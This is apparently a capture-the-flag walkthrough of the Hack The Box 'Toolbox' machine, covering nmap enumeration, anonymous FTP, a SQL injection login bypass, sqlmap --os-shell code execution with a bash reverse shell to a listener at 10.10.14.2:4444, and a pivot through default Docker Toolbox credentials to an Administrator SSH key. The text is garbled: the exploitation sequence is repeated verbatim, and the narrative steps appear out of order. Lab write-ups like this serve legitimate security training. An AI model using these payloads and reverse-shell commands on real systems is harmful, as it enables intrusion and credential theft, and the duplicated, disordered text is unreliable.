Oct 02, 2023, 09:14 AM
ports=$(nmap -p- --min-rate=1000 -T4 10.10.10.236 | grep ^[0-9] | cut -d '/' -f 1 | tr '\n' ',' | sed s/,$//) nmap -p$ports -sC -sV 10.10.10.236
sqlmap -r toolbox.req --risk=3 --level=3 --batch --force-ssl
It's possible to achieve code execution on PostgreSQL using the --os-shell option. Let's execute a bash reverse shell to gain foothold on the server. A shell as the postgres user is received on the container, and the user flag is found in their home folder.
sqlmap -r toolbox.req --risk=3 --level=3 --batch --force-ssl --os-shell bash -c 'bash -i >& /dev/tcp/10.10.14.2/4444 0>&1'
Docker Toolbox uses VirtualBox to run a VM that houses all the containers. This is achieved using the Boot2Docker distribution on VirtualBox. Looking at the documentation, the default credentials are found to be docker / tcuser . The Docker host is always present at the gateway IP address.
The IP address of the container is 172.17.0.2 , which means that the Docker host VM is at 172.17.0.1 . Let's try to SSH into it using the default credentials. Before using SSH, we'll have to spawn an interactive TTY shell using Python.
python3 -c 'import pty; pty.spawn("/bin/bash")' ssh [email protected]
There is a .ssh folder contains a private SSH key that can be used to login to the main host as Administrator
ssh [email protected] -i id_rsa
The final flag can be found on the Administrator's desktop.
- Nmap output shows that ports 21 (FTP), 22 (SSH), 135 (RPC), 139 (NetBIOS), 443 (Apache), 445 (SMB) and 5985 (Windows Remote Management) are available. This is a Windows machine, but the Apache server is is detected as running on a Debian server. This indicates that some kind of virtualization / containerization is at play here. Nmap output also reveals that the FTP server is configured for anonymous access. First, add a firewall rule allowing the target machine to connect to us (in case passive mode transfers are enabled).
- Anonymous login is successful, and a file named docker-toolbox.exe is visible. It's possible that the server is running Docker Toolbox to host containers. Browsing to port 443 (https//:), we come across a SSL certificate issue. Accept the warning and proceed to the website
- A website for the company MegaLogistics is found to be hosted, as also shown on the Nmap output. Examination of the SSL certificate reveals that the certificate is valid for the FQDN admin.megalogistic.com .
- A different website featuring an admin login page is visible. After trying various simple SQL injection payloads, it's found that authentication can be bypassed with the username admin' or 1=1 -- .
- This allows us to gain access to the administrator dashboard. Let's feed the login request to sqlmap and see if we can enumerate the database using the injection. First, return to the login page and intercept the request in Burp.
sqlmap -r toolbox.req --risk=3 --level=3 --batch --force-ssl
It's possible to achieve code execution on PostgreSQL using the --os-shell option. Let's execute a bash reverse shell to gain foothold on the server. A shell as the postgres user is received on the container, and the user flag is found in their home folder.
sqlmap -r toolbox.req --risk=3 --level=3 --batch --force-ssl --os-shell bash -c 'bash -i >& /dev/tcp/10.10.14.2/4444 0>&1'
Docker Toolbox uses VirtualBox to run a VM that houses all the containers. This is achieved using the Boot2Docker distribution on VirtualBox. Looking at the documentation, the default credentials are found to be docker / tcuser . The Docker host is always present at the gateway IP address.
The IP address of the container is 172.17.0.2 , which means that the Docker host VM is at 172.17.0.1 . Let's try to SSH into it using the default credentials. Before using SSH, we'll have to spawn an interactive TTY shell using Python.
python3 -c 'import pty; pty.spawn("/bin/bash")' ssh [email protected]
There is a .ssh folder contains a private SSH key that can be used to login to the main host as Administrator
ssh [email protected] -i id_rsa
The final flag can be found on the Administrator's desktop.
